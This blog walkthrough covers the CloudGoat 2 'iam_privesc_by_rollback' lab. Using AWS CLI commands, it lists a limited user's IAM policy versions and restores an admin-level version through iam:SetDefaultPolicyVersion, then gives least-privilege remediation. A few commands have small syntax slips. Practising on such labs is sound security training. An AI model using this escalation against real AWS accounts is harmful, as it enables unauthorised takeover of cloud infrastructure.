Intro
Rhino Security Labs have released CloudGoat 2, a new vulnerable by design AWS deployment to help learn and practice the skills required to conduct a pentest on AWS.
I’ve previously written a walkthrough of the original CloudGoat deployment tool, and as before I’ll be demonstrating some common attack vectors, as well as showing how you can help defend your AWS environments against these kinds of attacks.
In my previous post, I used Pacu, an exploitation framework, to discover weaknesses in the environment. In this set of posts, I’m going to stick to the AWS CLI rather than using any other tools.
Installation
It doesn’t take long to set up, but pay attention to the requirements - CloudGoat 2 uses Terraform 0.12 on the system you’re using, so you’ll need to upgrade your version of Terraform to deploy the environments. The full list of requirements are:
- Linux or MacOS. Windows is not officially supported.
- Argument tab-completion requires bash 4.2+ (Linux, or OSX with some difficulty).
- Python3.6+ is required.
- Terraform 0.12 installed and in your $PATH. # This one is important
- The AWS CLI installed and in your $PATH, and an AWS account with sufficient privileges to create and destroy resources.
As with the original ClouGoat, installation is easy. I created a virtual environment to do the work in, but it’s not necessary.
git clone git@github.com:RhinoSecurityLabs/cloudgoat.git ./CloudGoat && cd CloudGoat
pip3 install -r ./core/python/requirements.txt
chmod +x ./cloudgoat.py
The installation instructions suggest running some quick configuration commands:
./cloudgoat.py config profile # it will ask you for a profile name - this is the name provided for the access and secret keys in aws/credentials
./cloudgoat.py config whitelist --auto # this adds your public IP address to whitelist.txt
The Exploit
CloudGoat 2 has five different scenarios available, each focusing on a different vulnerability or set of vulnerabilities. In this post, we’ll concentrate on the first scenario, iam_privesc_by_rollback
. This is a small deployment (they get more complex as you go on), and is summarised as:
Starting with a highly-limited IAM user, the attacker is able to review previous IAM policy versions and restore one which allows full admin privileges, resulting in a privilege escalation exploit.
To deploy the environment, simply run ./cloudgoat.py create iam_privesc_by_rollback
. Once deployed, there will be a folder created in the project root directory, which will include a file called start.txt
which contains the access keys for a user named Raynor.
For each of the keys we get through the 5 scenarios, I’ll export the credentials to my local environment:
export AWS_ACCESS_KEY_ID=AKIA...
export AWS_SECRET_ACCESS_KEY=IXiTd...
Running aws sts get-caller-identity
confirms the identity of the user, so let’s see what permissions we have.
Checking attached policies using aws iam list-policies --only-attached
shows the name of the policy that is attached to the IAM user whose credentials we have:
"PolicyName": "cg-raynor-policy",
"PolicyId": "ANPAWRT3VKZYLF7NQVA27",
"Arn": "arn:aws:iam::123456789012:policy/cg-raynor-policy",
"Path": "/",
"DefaultVersionId": "v1",
"AttachmentCount": 1,
"PermissionsBoundaryUsageCount": 0,
"IsAttachable": true,
"CreateDate": "2019-06-27T19:59:53Z",
"UpdateDate": "2019-06-27T19:59:55Z"
Using the command aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy --version-id v1
, we can see what permissions the policy grants:
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IAMPrivilegeEscalationByRollback",
"Action": [
"iam:Get*",
"iam:List*",
"iam:SetDefaultPolicyVersion"
],
"Effect": "Allow",
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2019-06-27T19:59:53Z"
}
}
So, next to nothing in terms of permissions - except iam:SetDefaultPolicyVersion
, which is an odd permission for an IAM user to have, and could prove useful if there are different versions of the policy that provide more privileges. Let’s take a gander with aws iam list-policy-versions --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy/cg-raynor-policy
.
{
"Versions": [
{
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
},
{
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
},
{
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
},
{
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
},
{
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2019-06-27T19:59:53Z"
}
]
}
Definitely worth checking out these different versions of the policy, so we’ll do exactly that. We can iterate through the available five versions of the policy using the following command:
for i in {1..5}; aws iam get-policy-version --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy --version-id v$i
Which gives us the following output:
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Sid": "IAMPrivilegeEscalationByRollback",
"Action": [
"iam:Get*",
"iam:List*",
"iam:SetDefaultPolicyVersion"
],
"Effect": "Allow",
"Resource": "*"
}
]
},
"VersionId": "v1",
"IsDefaultVersion": true,
"CreateDate": "2019-06-27T19:59:53Z"
}
}
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": {
"Effect": "Deny",
"Action": "*",
"Resource": "*",
"Condition": {
"NotIpAddress": {
"aws:SourceIp": [
"192.0.2.0/24",
"203.0.113.0/24"
]
}
}
}
},
"VersionId": "v2",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
}
}
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
]
},
"VersionId": "v3",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
}
}
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Action": "iam:Get*",
"Resource": "*",
"Condition": {
"DateGreaterThan": {
"aws:CurrentTime": "2017-07-01T00:00:00Z"
},
"DateLessThan": {
"aws:CurrentTime": "2017-12-31T23:59:59Z"
}
}
}
},
"VersionId": "v4",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
}
}
{
"PolicyVersion": {
"Document": {
"Version": "2012-10-17",
"Statement": {
"Effect": "Allow",
"Action": [
"s3:ListBucket",
"s3:GetObject",
"s3:ListAllMyBuckets"
],
"Resource": "*"
}
},
"VersionId": "v5",
"IsDefaultVersion": false,
"CreateDate": "2019-06-27T19:59:55Z"
}
}
Version three is obviously the jackpot, with the following statement that provides administrator access to the account:
"Statement": [
{
"Action": "*",
"Effect": "Allow",
"Resource": "*"
}
]
So, let’s roll back to that policy version using the iam:SetDefaultPolicyVersion
permission that we already have.
aws iam set-default-policy-version --policy-arn arn:aws:iam::123456789012:policy/cg-raynor-policy/cg-raynor-policy --version-id v3
We should now have full admin privileges and the ability to carry out any malicious actions that we want to.
Summary and Remediation
This was an easy scenario, but useful in showing how seemingly innocuous permissions can lead to the compromise of an account.
Excessive permissions are often easy attack vectors for malicious actors to take advantage of. The principal of least privilege is an important one to make sure you put into practice, and there are a number of tools to help you do this.
AWS provide the IAM Policy Simulator to help you understand the permissions that will be applied to the IAM user. This can be particularly useful if you have complex policies in your account.
A more proactive approach would be using something like Repokid from Netflix, which removes permissions granting access to unused services from the inline policies of IAM roles in an AWS account.